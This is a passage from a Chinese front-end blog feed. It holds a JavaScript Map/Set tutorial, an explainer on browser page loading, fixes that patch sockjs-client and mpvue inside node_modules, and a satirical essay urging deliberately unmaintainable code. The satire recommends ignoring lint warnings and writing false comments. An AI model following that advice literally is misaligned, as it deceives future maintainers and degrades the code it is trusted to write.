    文章目录 映射与集合（Map、Set）映射（Map）Map常用的方法不要使用map[key]访问属性对象作为Map的键Map的遍历与迭代默认的迭代方式forEach() 从数组、对象创建Map从数组、Map创建对象 集合（Set）集合迭代 ...
    继续阅读 »






    映射与集合（Map、Set）

    前文的学习过程中，我们已经了解了非常多的数据类型，包括基础类型、复杂的对象、顺序存储的数组等。为了更好的应对现实生产中的情况，我们还需要学习更多的数据类型：映射（Map）和集合（Set）。
    映射（Map）

    Map是一个键值对构成的集合，和对象非常相似，都是由一个名称对应一个值组成的。Map和对象区别在于，Map的键可以采用任何类型的数据，而对象只能使用字符串作为属性名称。
    Map常用的方法

    new Map()——创建Map对象；
    map.set(key, val)——添加一个键值对；
    map.get(key)——通过键找到val值，如果不存在key，返回undefined；
    map.has(key)——判断map是否存在键key，存在返回true，不存在返回false；
    map.delete(key)——删除指定键；
    map.clear()——清空map中所有的内容；
    map.size——map中键值对的数量；

    举个例子：

    let map = new Map()//创建一个空的Map
    map.set('name','xiaoming') //字符串作为键
    map.set(3120181049,'ID') //数字作为键
    map.set(true,'Bool') //bool作为键

    console.log(map.get('name'))//xiaoming
    console.log(map.has(true)) //true
    console.log(map.delete(true))//删除true键
    console.log(map.size) //2
    console.log(map.clear()) //清空
    console.log(map.size) //0


    代码执行结果：



    map.set(key, val)方法返回map本身。


    不要使用map[key]访问属性


    虽然map[key]方式同样可以访问映射的键值对，但是不推荐使用这种方式，因为它会造成歧义。我们可以看下面的案例：



    let map = new Map()
    map[123] = 123 //创建一个键值对
    console.log(map[123])//123
    console.log(map['123'])


    这里就出现了一个奇怪的结果：


    image-20220610213719690


    不仅使用键123还可以使用'123'访问数据。


    甚至，如果我们使用map.set()和map[]混用的方式，会引起程序错误。


    在JavaScript中，如果我们对映射使用了map[key]=val的方式，引擎就会把map视为plain object，它暗含了对应所有相应的限制（仅支持String、Symbol键）。


    所以，我们不要使用map[key]的方式访问Map的属性！！


    对象作为Map的键




    由于Map对键的类型不做任何限制，我们还可以把对象当作键值使用： 
    let clazz = {className:'9年1班'}
    let school = new Map()
    school.set(clazz,{stu1:'xiaoming',stu2:'xiaohong'})
    console.log(school.get(clazz))



    代码执行结果：


    image-20220610215432261


    在对象中，对象是不能作为属性名称存在的，如果我们把对象作为属性名，也会发生奇怪的事：

    let obj = {}
    let objKey = {key:'key'}
    obj[objKey] = 'haihaihai'
    console.log(obj['[object Object]'])


    代码执行结果：


    image-20220610215731673


    发生这种现象的原因也非常简单，对象会把非字符串、Symbol类型的属性名转为字符串类型，对象相应的就转为'[object Object]'了，于是对象中就出现了一个名为'[object Object]'的属性。





    Map键值比较方法


    Map使用SameValueZero算法比较键值是否相等，和===差不多，但是NaN和NaN是相等的，所以NaN也可以作为键使用！





    链式调用


    由于map.set返回值是map本身，我们可以使用如下调用方式：


    map.set(1,1)
    
	.set(2,2)
    
	.set(3,3)




    Map的遍历与迭代


    我们可以在以下三个函数的帮助下完成映射的迭代：


    1. map.keys()——返回map所有键的可迭代对象；
    2. map.values()——返回map所有值的可迭代对象；
    3. map.entries()——返回map所有键值对的可迭代对象；

    举个栗子：



    let map = new Map([
    ['key1',1],
    ['key2',2],
    ['key3',3],
    ])

    //遍历所有的键
    for(let key of map.keys()){
    console.log(key)
    }

    //遍历所有的值
    for(let val of map.values()){
    console.log(val)
    }

    //遍历所有的键值对
    for(let ky of map.entries()){
    console.log(ky)
    }


    代码执行结果：


    image-20220611202407661



    遍历的顺序


    遍历的顺序和元素插入顺序是相同的，这是和对象的区别之一。





    默认的迭代方式


    实际上，我们很少使用map.entries()方法遍历Map中的键值对，因为map.entries()是map的默认遍历方式，我们可以直接使用如下代码：


    let map = new Map([
    
    ['key1',1],
    
    ['key2',2],
    
    ['key3',3],
    
])
    
for(let kv of map){
    
    console.log(kv)
    
}





    码执行结果：


    image-20220611203140858


    forEach()


    我们还可以通过Map内置的forEach()方法，为每个元素设置一个遍历方法，就像遍历数组一样。


    举例如下：




    let map = new Map([
    
    ['key1',1],
    
    ['key2',2],
    
    ['key3',3],
    
])
    
map.forEach((val,key,map)=>{
    
    console.log(`${key}-${val}`)
    
})



    代码执行结果：


    image-20220611203643650


    从数组、对象创建Map


    可能童鞋们已经发现了，在上面的案例中，我们使用了一种独特的初始化方式（没有使用set方法）




    let map = new Map([
    
    ['key1',1],
    
    ['key2',2],
    
    ['key3',3],
    
])




    我们通过向new Map()传入一个数组，完成了快速的映射创建。


    我们还可以通过Object.entires(obj)方法将对象转为数组，该数组的格式和Map需要的格式完全相同。


    举个例子：




    let obj = {
    
    xiaoming:'heiheihei',
    
    xiaohong:'hahahahah'
    
}
    
let map = new Map(Object.entries(obj))
    
console.log(map)



    代码执行结果：


    image-20220611205622630


    Object.entries(obj)会返回obj对应的数组：[['xiaoming':'heiheihei'],['xiaoming':'hahahahah']]。




    从数组、Map创建对象


    Object.fromEntries()和Object.entries()功能相反，可以把数组和Map转为对象。


    数组转对象：




    let obj = Object.fromEntries([
    
    ['key1','val1'],
    
    ['key2','val2'],
    
    ['key3','val3'],
    
])
    
console.log(obj)



    代码执行结果：


    image-20220611210835380


    Map转对象：




    let map = new Map()
    
map.set('key1','val1')
    
	.set('key2','val2')
    
	.set('key3','val3')
    
let obj = Object.fromEntries(map)
    
console.log(obj)



    代码执行结果：


    image-20220611211125496


    map.entries()会返回映射对应的键值对数组，我们也可以使用一种稍微麻烦的方式：

    let obj = Object.fromEntries(map.entries())





    2. new Set([iter])——创建一个集合，如果传入了一个可迭代变量（例如数组），就使用这个变量初始化集合
    3. set.add(val)——向集合中添加一个元素val
    4. set.delete(val)——删除集合中的val




    6. set.has(val)——判断集合中是否存在val，存在返回true，否则返回false
    7. set.clear()——清空集合中所有的元素
    8. set.size——返回集合中元素的数量


    集合使用案例：


    let set = new Set()
    
let xiaoming = {name:'xiaoming'}
    
let xiaohong = {name:'xiaohong'}
    
let xiaojunn = {name:'xiaojunn'}



    set.add(xiaoming)
    
set.add(xiaohong)
    
set.add(xiaojunn)
    
console.log(set)



    代码执行结果：


    image-20220611212417105





    虽然Set的功能很大程度上可以使用Array代替，但是如果使用arr.find判断元素是否重复，就会造成巨大的性能开销。


    所以我们需要在合适的场景使用合适的数据结构，从而保证程序的效率。



    集合迭代




    集合的迭代非常简单，我们可以使用for...of和forEach两种方式：

    let set = new Set(['xiaoming','xiaohong','xiaoli'])//使用数组初始化集合
    for(let val of set){
        console.log(val)
    }
    set.forEach((val,valAgain,set)=>{
        console.log(val)
    })


    代码执行结果：


    image-20220611212802952




    注意，使用forEach遍历集合时，和map一样有三个参数，而且第一个和第二个参数完全相同。这么做的目的是兼容Map，我们可以方便的使用集合替换Map而程序不会出错。


    在Map中使用的方法，Set同样适用：


    1. set.keys()——返回一个包含所有值的可迭代对象
    2. set.values()——返回值和set.keys()完全相同
    3. set.entries()——返回[val,val]可迭代对象



    看起啦这些方法有些功能上的重复，很奇怪。实际上，和forEach一样，都是为了和Map兼容。


    总结


    Map 是一个带键的数据项的集合。




    常用方法：





    1. map.get(key) —— 根据键来返回值，如果 map 中不存在对应的 key，则返回 undefined；
    2. map.has(key) —— 如果 key 存在则返回 true，否则返回 false；
    3. new Map([iter]) —— 创建 map，可选择带有 [key,value] 对的 iterable（例如数组）来进行初始化；
    4. map.set(key, val) —— 根据键存储值，返回 map 自身，可用于链式插入元素；




    6. map.delete(key) —— 删除指定键对应的值，如果在调用时 key 存在，则返回 true，否则返回 false；
    7. map.clear() —— 清空 map中所有键值对 ；
    8. map.size —— 返回键值对个数

    与普通对象 Object 的不同点主要是任何类型都可以作为键，包括对象、NaN。


    Set —— 是一组值的集合。


    常用方法和属性：
















    在 Map 和 Set 中迭代总是按照值插入的顺序进行的，所以我们不能说这些集合是无序的，但是我们不能对元素进行重新排序，也不能直接按其编号来获取元素。


















  • new Set([iter]) —— 创建 set，可选择带有 iterable（例如数组）来进行初始化。
  • set.add(value) —— 添加一个值（如果 value 存在则不做任何修改），返回 set 本身。
  • set.delete(value) —— 删除值，如果 value 在这个方法调用的时候存在则返回 true ，否则返回 false。
  • set.has(value) —— 如果 value 在 set 中，返回 true，否则返回 false。
  • set.clear() —— 清空 set。
  • set.size —— 元素的个数。
    • 收起阅读 »
    环Sir 发表于 : 2022-06-28 11:30 评论 (0) 分享

    在浏览器输入URL到页面展示发生了什么

    前端 网络解析
    查询缓存其实从填写上url按下回车后，我们就进入了第一步就是 DNS 解析过程，首先需要找到这个 url 域名的服务器 ip,为了寻找这个 ip，浏览器首先会寻找缓存，查看缓存中是否有记录缓存的查找记录为：浏览器缓存=》系统缓存=》路由 器缓存缓存中没有则查找...
    继续阅读 »

    查询缓存


    其实从填写上url按下回车后，我们就进入了第一步就是 DNS 解析过程，首先需要找到这个 url 域名的服务器 ip,为了寻找这个 ip，浏览器首先会寻找缓存，查看缓存中是否有记录缓存的查找记录为：浏览器缓存=》系统缓存=》路由 器缓存缓存中没有则查找系统的 hosts 文件中是否有记录，

    DNS服务器


    如果没有缓存则查询 DNS 服务器，得到服务器的 ip 地址后，浏览器根据这个 ip 以及相应的端口号发送连接请求；当然如果DNS服务器中没有解析成功，他会向上一步获得的顶级DNS服务器发送解析请求。


    TCP三次握手


    客户端和服务端都需要直到各自可收发，因此需要三次握手。

    从图片可以得到三次握手可以简化为：

    1、浏览器发送连接请求；
    2、服务器允许连接后并发送ACK报文给浏览器；
    2、浏览器接受ACK后并向后端发送一个ACK，TCP连接建立成功
    HTTP协议包

    构造一个 http 请求，这个请求报文会包括这次请求的信息，主要是请求方法，请求说明和请求附带的数据，并将这个 http 请求封装在一个 tcp 包中；这个 tcp 包也就是会依次经过传输层，网络层， 数据链路层，物理层到达服务器，服务器解析这个请求来作出响应；返回相应的 html 给浏览器；
    浏览器处理HTML文档

    因为 html 是一个树形结构，浏览器根据这个 html 来构建 DOM 树，在 dom 树的构建过程中如果遇到 JS 脚本和外部 JS 连接，则会停止构建 DOM 树来执行和下载相应的代码，这会造成阻塞，这就是为什么推荐 JS 代码应该放在 html 代码的后面；

    渲染树
    之后根据外部样式，内部样式，内联样式构建一个 CSS 对象模型树 CSSOM 树，构建完成后和 DOM 树合并为渲染树，在排除非视觉节点，比如 script，meta 标签和排除 display 为 none 的节点，之后进行布局，布局主要是确定各个元素的位置和尺寸，之后是渲染页面，因为 html 文件中会含有图片，视频，音频等资源，在解析 DOM 的过 程中，遇到这些都会进行并行下载，浏览器对每个域的并行下载数量有一定的限制，一 般是 4-6 个，当然在这些所有的请求中我们还需要关注的就是缓存，缓存一般通过 Cache-Control、Last-Modify、Expires 等首部字段控制。

    Cache-Control 和 Expires 的区别
    在于 Cache-Control 使用相对时间，Expires 使用的是基于服务器 端的绝对时间，因为存 在时差问题，一般采用 Cache-Control，在请求这些有设置了缓存的数据时，会先 查看 是否过期，如果没有过期则直接使用本地缓存，过期则请求并在服务器校验文件是否修 改，如果上一次 响应设置了 ETag 值会在这次请求的时候作为 If-None-Match 的值交给 服务器校验，如果一致，继续校验 Last-Modified，没有设置 ETag 则直接验证 Last-Modified，再决定是否返回 304

    到这里就结束了么？其实按照标题所说的到渲染页面我们确实到此就说明完了，但是严格意义上其实我们后面还会有TCP的四次挥手断开连接，这个我们就放到后面单独出一篇为大家介绍吧！
    TCP 和 UDP 的区别

    1、TCP 是面向连接的，udp 是无连接的即发送数据前不需要先建立链接。
    2、TCP 提供可靠的服务。也就是说，通过 TCP 连接传送的数据，无差错，不丢失， 不重复，且按序到达;UDP 尽最大努力交付，即不保证可靠交付。 并且因为 tcp 可靠， 面向连接，不会丢失数据因此适合大数据量的交换。
    3、TCP 是面向字节流，UDP 面向报文，并且网络出现拥塞不会使得发送速率降低（因 此会出现丢包，对实时的应用比如 IP 电话和视频会议等）。
    4、TCP 只能是 1 对 1 的，UDP 支持 1 对 1,1 对多。
    5、TCP 的首部较大为 20 字节，而 UDP 只有 8 字节。
    6、TCP 是面向连接的可靠性传输，而 UDP 是不可靠的。



    收起阅读 »
    环Sir 发表于 : 2022-06-28 10:31 评论 (0) 分享

    一定要优雅，高端前端程序员都应该具备的基本素养

    IT大前端
    近来看到很多公司裁员，忽然惊醒，之前是站在项目角度考虑问题，却没站在咱们程序员本身看待问题，险些酿成大错，如果人人都能做到把项目维护得井井有条，无论什么人都能看明白都能快速接手，那咱们的竞争力在哪里呢？这个时候我再看项目中那些被我天天骂的代码，顿时心中就无限景...
    继续阅读 »

    近来看到很多公司裁员，忽然惊醒，之前是站在项目角度考虑问题，却没站在咱们程序员本身看待问题，险些酿成大错，如果人人都能做到把项目维护得井井有条，无论什么人都能看明白都能快速接手，那咱们的竞争力在哪里呢？这个时候我再看项目中那些被我天天骂的代码，顿时心中就无限景仰起来，原来屎山才是真能能够保护我们的东西，哪有什么岁月静好，只是有人替你负屎前行罢了


    为了能让更多人认识到这一点，站在前端的角度上，我在仔细拜读了项目中的那些暗藏玄机的代码后，决定写下此文，由于本人功力尚浅，且之前一直走在错误的道路上，所以本文在真正的高手看来可能有些班门弄斧，在此献丑了🐶



    用 TypeScript，但不完全用


    TypeScript大行其道，在每个团队中，总有那么些个宵小之辈想尽一切办法在项目里引入 ts，这种行为严重阻碍了屎山的成长速度，但同是打工人我们也不好阻止，不过就算如此，也无法阻止我们行使正义


    众所周知，TypeScript 别名 AnyScript，很显然，这就是TypeScript创始人Anders Hejlsberg给我们留下的暗示，我们有理由相信AnyScript 才是他真正的目的

    const list: any = []
    const obj: any = {}
    const a: any = 1

    引入了 ts的项目，由于是在原可运行代码的基础上额外添加了类型注释，所以代码体积毫无疑问会增大，有调查显示，可能会增加 30%的代码量，如果充分发挥 AnyScript 的宗旨，意味着你很轻松地就让代码增加了 30% 毫无用处但也挑不出啥毛病的代码，这些代码甚至还会增加项目的编译时间（毕竟增加了ts校验和移除的成本嘛）


    你不仅能让自己写的代码用上 AnyScript，甚至还可以给那些支持 ts 的第三方框架/库一个大嘴巴子

    export default defineComponent({
      props: {
        // 现在 data 是 any 类型的啦 
        data: {
          type: Number as PropType<any>,
        },
      },
      setup(_, { emit }) {
        // 现在 props 是 any 类型的啦
        const props: any = _
        ...
      }
    })

    当然了，全屏 any可能还是有点明显了，所以你可以适当地给部分变量加上具体类型，但是加上类型不意味着必须要正确使用

    const obj: number[] = []
    // ...
    // 虽然 obj 是个 number[]，但为了实现业务，就得塞入一些不是 number 的类型，我也不想的啊是不是
    // 至于编辑器会划红线报错？那是小问题，不用管它，别人一打开这个项目就是满屏的红线，想想就激动
    obj.push('2')
    obj.push([3])

    命名应该更自由

    命名一直是个困扰很多程序员的问题，究其原因，我们总想给变量找个能够很好表达意思的名称，这样一来代码的可阅读性就高了，但现在我们知道，这并不是件好事，所以我们应该放纵自我，既摆脱了命名困难症，又加速了屎山的堆积进度

    const a1 = {}
    const a2 = {}
    const a3 = 2
    const p = 1

    我必须强调一点，命名不仅是变量命名，还包含文件名、类名、组件名等，这些都是我们可以发挥的地方，例如类名

    <div class="box">
      <div class="box1"></div>
      <div class="box2"></div>
    <div>
    <div class="box3"></div>

    乍一看似乎没啥毛病，要说有毛病似乎也不值当单独挑出来说，没错，要的就是这个效果，让人单看一段代码不好说什么，但是如果积少成多，整个项目都是 box呢？全局搜索都给你废了！如果你某些组件再一不小心没用 scoped 呢？稍不留意就不知道把什么组件的样式给改了，想想就美得很


    关于 css我还想多说一点，鉴于其灵活性，我们还可以做得更多，总有人说什么 BEM 不 BEM的，他们敢用我们就敢写这样的代码

    &-card {
      &-btn {
        &_link {
          &--right {
          }
        }
        &-nodata {
          &_link {
            &--replay {
              &--create {}
            }
          }
        }
      }
      &-desc {}
    }

    好了，现在请在几百行（关于这一点下一节会说到）这种格式的代码里找出类名 .xxx__item_current.mod-xxx__link 对应的样式吧


    代码一定要长


    屎山一定是够高够深的，这就要求我们的代码应该是够长够多的


    大到一个文件的长度，小到一个类、一个函数，甚至是一个 if 的条件体，都是我们自由发挥的好地方。


    什么单文件最好不超过 400行，什么一个函数不超过 100行，简直就是毒瘤，


    1.jpg


    所以这就要求我们要具备将十行代码就能解决的事情写成一百行的能力，最好能给人一种多即是少的感觉

    data === 1
      ? 'img'
      : data === 2
        ? 'video'
        : data === 3
          ? 'text'
          : data === 4
            ? 'picture'
            : data === 5
              ? 'miniApp'

    三元表达式可以优雅地表达逻辑，像诗一样，虽然这段代码看起来比较多，但逻辑就是这么多，我还专门用了三元表达式优化，不能怪我是不是？什么map映射枚举优化听都没听过

    你也可以选择其他一些比较容易实现的思路，例如，多写一些废话

    if (a > 10) {
      // 虽然下面几个 if 中对于 a 的判断毫无用处，但不仔细看谁能看出来呢？看出来了也不好说什么，毕竟也没啥错
      // 除此之外，多级 if 嵌套也是堆屎山的一个小技巧，什么提前 return 不是太明白
      if (a > 5) {
        if (a > 3 && b) {

        }
      }
      if (a > 4) {

      }
    }

    除此之外，你还可以写一些中规中矩的方法，但重点在于这些方法根本就没用到，这种发挥的地方就更多了，简直就是扩充代码体积的利器，毕竟单看这些方法没啥毛病，但谁能想到根本就用不到呢？就算有人怀疑了，但你猜他敢随便从运行得好好的业务项目里删掉一些没啥错的代码吗？


    组件、方法多多滴耦合


    为了避免其他人复用我的方法或组件，那么在写方法或组件的时候，一定要尽可能耦合，提升复用的门槛


    例如明明可以通过 Props传参解决的事情，我偏要从全局状态里取，例如vuex，独一份的全局数据，想传参就得改 store数据，但你猜你改的时候会不会影响到其他某个页面某个组件的正常使用呢？如果你用了，那你就可能导致意料之外的问题，如果你不用你就得自己重写一个组件


    组件不需要传参？没关系，我直接把组件的内部变量给挂到全局状态上去，虽然这些内部变量确实只有某一个组件在用，但我挂到全局状态也没啥错啊是不是


    嘿，明明一个组件就能解决的事情，现在有了倆，后面还可能有仨，这代码量不就上来了吗？


    方法也是如此，明明可以抽取参数，遵循函数式编程理念，我偏要跟外部变量产生关联

    // 首先这个命名就很契合上面说的自由命名法
    function fn1() {
      // ...
      // fn1 的逻辑比较长，且解决的是通用问题，
      // 但 myObj 偏偏是一个外部变量，这下看你怎么复用
      window.myObj.name = 'otherName'
      window.myObj.children.push({ id: window.myObj.children.length })
      // ...
    }

    魔术字符串是个好东西

    实际上，据我观察，排除掉某些居心不轨的人之外，大部分人还是比较喜欢写魔术字符串的，这让我很欣慰，看着满屏的不知道从哪里冒出来也不知道代表着什么的硬编码字符串，让人很有安全感

    if (a === 'prepare') {
      const data = localStorage.getItem('HOME-show_guide')
      // ...
    } else if (a === 'head' && b === 'repeating-error') {
      switch(c) {
        case 'pic':
          // ...
          break
        case 'inDrawer':
          // ...
          break
      }
    }

    基于此，我们还可以做得更多，比如用变量拼接魔术字符串，debug的时候直接废掉全局搜索

    if (a === query.name + '_head') {

    }

    大家都是中国人，为什么不试试汉字呢？

    if (data === '正常') {

    } else if (data === '错误') {

    } else if (data === '通过') {

    }

    轮子就得自己造才舒心


    众所周知，造轮子可以显著提升我们程序员的技术水平，另外由于轮子我们已经自己造了，所以减少了对社区的依赖，同时又增加了项目体积，有力地推动了屎山的成长进程，可以说是一鱼两吃了


    例如我们可能经常在项目中使用到时间格式化的方法，一般人都是直接引入 dayjs完事，太肤浅了，我们应该自己实现，例如，将字符串格式日期格式化为时间戳

    function format(str1: any, str2: any) {
      const num1 = new Date(str1).getTime()
      const num2 = new Date(str2).getTime()
      return (num2 - num1) / 1000
    }

    多么精简多么优雅，至于你说的什么格式校验什么 safari下日期字符串的特殊处理，等遇到了再说嘛，就算是dayjs不也是经过了多次 fixbug才走到今天的嘛，多一些宽松和耐心好不好啦


    如果你觉得仅仅是 dayjs这种小打小闹难以让你充分发挥，你甚至可以造个 vuex，vue官网上写明了eventBus可以充当全局状态管理的，所以我们完全可以自己来嘛，这里就不举例了，这是自由发挥的地方，就不局限大家的思路了


    借助社区的力量-轮子还是别人的好


    考虑到大家都只是混口饭吃而已，凡事都造轮子未免有些强人所难，所以我们可以尝试走向另外一个极端——凡事都用轮子解决


    判断某个变量是字符串还是对象，kind-of拿来吧你；获取某个对象的 key，object-keys拿来吧你；获取屏幕尺寸，vue-screen-size拿来吧你……等等，就不一一列举了，需要大家自己去发现


    先甭管实际场景是不是真的需要这些库，也甭管是不是杀鸡用牛刀，要是大家听都没听过的轮子那就更好了，这样才能彰显你的见多识广，总之能解决问题的轮子就是好问题，


    在此我得特别提点一下 lodash，这可是解决很多问题的利器，但是别下载错了，得是 commonjs版本的那个，量大管饱还正宗，es module版本是不行滴，太小家子气


    import _ from 'lodash'

    多尝试不同的方式来解决相同的问题


    世界上的路有很多，很多路都能通往同一个目的地，但大多数人庸庸碌碌，只知道沿着前人的脚步，没有自己的思想，别人说啥就是啥，这种行为对于我们程序员这种高端的职业来说，坏处很大，任何一个有远大理想的程序员都应该避免


    落到实际上来，就是尝试使用不同的技术和方案解决相同的问题

    搞个css模块化方案，什么BEM、OOCSS、CSS Modules、CSS-in-JS 都在项目里引入，紧跟潮流扩展视野

    vue项目只用 template？逊啦你，render渲染搞起来

    之前看过什么前端依赖注入什么反射的文章，虽然对于绝大多数业务项目而言都是水土不服，但问题不大，能跑起来就行，引入引入

    还有那什么 rxjs，人家都说好，虽然我也不知道好在哪里，但胜在门槛高一般人搞不清楚所以得试试

    Pinia 是个好东西，什么，我们项目里已经有 vuex了？out啦，人家官网说了 vue2也可以用，我们一定要试试，紧跟社区潮流嘛，一个项目里有两套状态管理有什么值得大惊小怪的！


    做好自己，莫管他人闲事

    看过一个小故事，有人问一个年纪很大的老爷爷的长寿秘诀是什么，老爷爷说是从来不管闲事

    这个故事对我们程序员来说也很有启发，写好你自己的代码，不要去关心别人能不能看得懂，不要去关心别人是不是会掉进你写的坑里

    mounted() {
      setTimeout(() => {
        const width = this.$refs.box.offsetWidth
        const itemWidth = 50
        // ...
      }, 200)
    }

    例如对于上述代码，为什么要在 mounted里写个 setTimeout呢？为什么这个 setTimeout的时间是 200呢？可能是因为 box 这个元素大概会在 mounted之后的 200ms左右接口返回数据就有内容了，就可以测量其宽度进行其他一系列的逻辑了，至于有没有可能因为网络等原因超过 200ms还是没有内容呢？这些不需要关心，你只要保证在你开发的时候 200ms这个时间是没问题的就行了；
    itemWidth代表另外一个元素的宽度，在你写代码的时候，这个元素宽度就是 50，所以没必要即时测量，你直接写死了，至于后面其他人会不会改变这个元素的宽度导致你这里不准了，这就不是你要考虑的事情了，你开发的时候确实没问题，其他人搞出来问题其他人负责就行，管你啥事呢？


    代码自解释


    高端的程序员，往往采用最朴素的编码方式，高手从来不写注释，因为他们写的代码都是自解释的，什么叫自解释？就是你看代码就跟看注释一样，所以不需要注释


    我觉得很有道理，代码都在那里搁着了，逻辑写得清清楚楚，为啥还要写注释呢，直接看代码不就行了吗？


    乍一看，似乎这一条有点阻碍堆屎山的进程，实则不然


    一堆注定要被迭代无数版、被无数人修改、传承多年的代码，其必定是逻辑错综复杂，难免存在一些不可名状的让人说不清道不明的逻辑，没有注释的加成，这些逻辑大概率要永远成为黑洞了，所有人看到都得绕着走，相当于是围绕着这些黑洞额外搭起了一套逻辑，这代码体积和复杂度不就上来了吗？


    如果你实在手痒，倒也可以写点注释，我这里透露一个既能让你写写注释过过瘾又能为堆屎山加一把力的方法，那就是：在注释里撒谎！


    没错，谁说注释只能写对的？我理解不够，所以注释写得不太对有什么奇怪的吗？我又没保证注释一定是对的，也没逼着你看注释，所以你看注释结果被注释误导写了个bug，这凭啥怪我啊

    // 计算 data 是否可用
    //（实际上，这个方法的作用是计算 data 是否 不可用）
    function isDisabledData(data: any) {
      // ...
    }

    上述这个例子只能说是小试牛刀，毕竟多调试一下很容易被发现的，但就算被发现了，大家也只会觉得你只是个小粗心鬼罢了，怎么好责怪你呢，这也算是给其他人的一个小惊喜了，况且，万一真有人不管不顾就信了，那你就赚大了


    编译问题坚决不改


    为了阻碍屎山的成长速度，有些阴险的家伙总想在各种层面上加以限制，例如加各种lint，在编译的时候，命令行中就会告诉你你哪些地方没有按照规则来，但大部分是 waring 级别的，即你不改项目也能正常运行，这就是我们的突破点了。


    尽管按照你的想法去写代码，lint的事情不要去管，waring报错就当没看到，又不是不能用？在这种情况下，如果有人不小心弄了个 error级别的错误，他面对的就是从好几屏的 warning 中找他的那个 error 的场景了，这就相当于是提前跟屎山来了一次面对面的拥抱


    根据破窗理论，这种行为将会影响到越来越多的人，大家都将心照不宣地视 warning于无物（从好几屏的 warning中找到自己的那个实在是太麻烦了），所谓的 lint就成了笑话


    小结


    一座历久弥香的屎山，必定是需要经过时间的沉淀和无数人的操练才能最终成型，这需要我们所有人的努力，多年之后，当你看到你曾经参与堆砌的屎山中道崩殂轰然倒塌的时候，你就算是真的领悟了我们程序员所掌控的恐怖实力！🐶


    链接：https://juejin.cn/post/7107119166989336583
    收起阅读 »
    马师傅 发表于 : 2022-06-27 22:47 评论 (0) 分享

    vue-cli3 一直运行 /sockjs-node/info?t= 解决方案

    前端 调试
    首先 sockjs-node 是一个JavaScript库，提供跨浏览器JavaScript的API，创建了一个低延迟、全双工的浏览器和web服务器之间通信通道。服务端：sockjs-node（https://github.com/sock...
    继续阅读 »

    首先 sockjs-node 是一个JavaScript库，提供跨浏览器JavaScript的API，创建了一个低延迟、全双工的浏览器和web服务器之间通信通道。

    服务端：sockjs-node（https://github.com/sockjs/sockjs-node）
    客户端：sockjs-clien（https://github.com/sockjs/sockjs-client）

    如果你的项目没有用到 sockjs，vuecli3 运行 npm run serve 之后 network 里面一直调研一个接口：http://localhost:8080/sockjs-node/info?t=1462183700002

    作为一个有节操的程序猿，实在不能忍受，特意自己研究了下源码，从根源上关闭这个调用

    1. 找到/node_modules/sockjs-client/dist/sockjs.js 

    2.找到代码的 1605行  

    try {
      //  self.xhr.send(payload); 把这里注掉
      } catch (e) {
        self.emit('finish', 0, '');
        self._cleanup(false);
      }

    3.刷新，搞定。

    原文：https://www.cnblogs.com/sichaoyun/p/10178080.html


    收起阅读 »
    马师傅 发表于 : 2022-06-21 17:19 评论 (0) 分享

    解决mpvue小程序分享到朋友圈无效问题

    微信小程序 微信分享
    手动修改一下mpvue这个包，在node_modules里面找到mpvue在index里面搜索下onShareAppMessage找到// 用户点击右上角分享onShareAppMessage: rootVueVM.$options.onShareAppMes...
    继续阅读 »

    手动修改一下mpvue这个包，在node_modules里面找到mpvue在index里面
    搜索下onShareAppMessage找到

    // 用户点击右上角分享
    onShareAppMessage: rootVueVM.$options.onShareAppMessage
      ? function (options) { return callHook$1(rootVueVM, 'onShareAppMessage', options); } : null,

    在这一段代码下面添加一个处理就可以了

    // 分享朋友圈
    onShareTimeline: rootVueVM.$options.onShareTimeline
      ? function (options) { return callHook$1(rootVueVM, 'onShareTimeline', options); } : null,

    最好也在LIFECYCLE_HOOKS这个数组中把onShareTimeline这个添加进去

    var LIFECYCLE_HOOKS = [
      'beforeCreate',
      'created',
      'beforeMount',
      'mounted',
      'beforeUpdate',
      'updated',
      'beforeDestroy',
      'destroyed',
      'activated',
      'deactivated', 'onLaunch',
      'onLoad',
      'onShow',
      'onReady',
      'onHide',
      'onUnload',
      'onPullDownRefresh',
      'onReachBottom',
      'onShareAppMessage',
      'onShareTimeline',
      'onPageScroll',
      'onTabItemTap',
      'attached',
      'ready',
      'moved',
      'detached'
    ];

    然后打包，完美解决

    如果项目中因为页面问题引入了例如mpvue-factory这种插件的还需要处理一下，用下面这个文件去处理吧，两个问题一起处理。

    再高级一点的话，可以写一个fix命令，复制我下面的，放到build文件夹，检查下你们的相对路径是不是对的，不对的话改一下你们的文件目录指向，然后自己去package里面加命令执行这个文件，直接命令跑一下就可以

    var chalk = require('chalk')
    var path = require('path')
    var fs = require('fs')
    var data = ''
    var dataFactory = ''

    const hookConfig = '\'onShareAppMessage\','
    const hookFn = '// 用户点击右上角分享\n' +
      '      onShareAppMessage: rootVueVM.$options.onShareAppMessage\n' +
      '        ? function (options) { return callHook$1(rootVueVM, \'onShareAppMessage\', options); } : null,'
    const mpVueSrc = '../node_modules/mpvue/index.js'
    const mpVueFactorySrc = '../node_modules/mpvue-page-factory/index.js'

    const factoryHook = 'onShareAppMessage: App.onShareAppMessage ?\n' +
      '      function (options) {\n' +
      '        var rootVueVM = getRootVueVm(this);\n' +
      '        return callHook$1(rootVueVM, \'onShareAppMessage\', options);\n' +
      '      } : null,'
    try {
      data = fs.readFileSync(path.join(__dirname, mpVueSrc), 'utf-8')
      if (data.indexOf('onShareTimeline') === -1) {
        data = replaceHook(data)
      }
      fs.writeFileSync(path.join(__dirname,  mpVueSrc), data)
    } catch (e) {
      console.error(e)
    }

    try {
      dataFactory = fs.readFileSync(path.join(__dirname, mpVueFactorySrc), 'utf-8')
      if (dataFactory.indexOf('onShareTimeline') === -1) {
        dataFactory = replaceFactoryHook(dataFactory)
      }
      fs.writeFileSync(path.join(__dirname,  mpVueFactorySrc), dataFactory)
    } catch (e) {
      console.error(e)
    }

    // 处理mpvue框架中没有处理onShareTimeline方法的问题
    function replaceHook(str) {
      let res = str.replace(hookConfig, '\'onShareAppMessage\',\n' +
        '  \'onShareTimeline\',')
      res = res.replace(hookFn, '// 用户点击右上角分享\n' +
        '      onShareAppMessage: rootVueVM.$options.onShareAppMessage\n' +
        '        ? function (options) { return callHook$1(rootVueVM, \'onShareAppMessage\', options); } : null,\n' +
        '\n' +
        '      // 分享朋友圈\n' +
        '      onShareTimeline: rootVueVM.$options.onShareTimeline\n' +
        '        ? function (options) { return callHook$1(rootVueVM, \'onShareTimeline\', options); } : null,')

      return res
    }

    // 处理mpvue-factory插件中没有处理onShareTimeline方法的问题
    function replaceFactoryHook(str) {
      let res = str.replace(factoryHook, 'onShareAppMessage: App.onShareAppMessage ?\n' +
        '      function (options) {\n' +
        '        var rootVueVM = getRootVueVm(this);\n' +
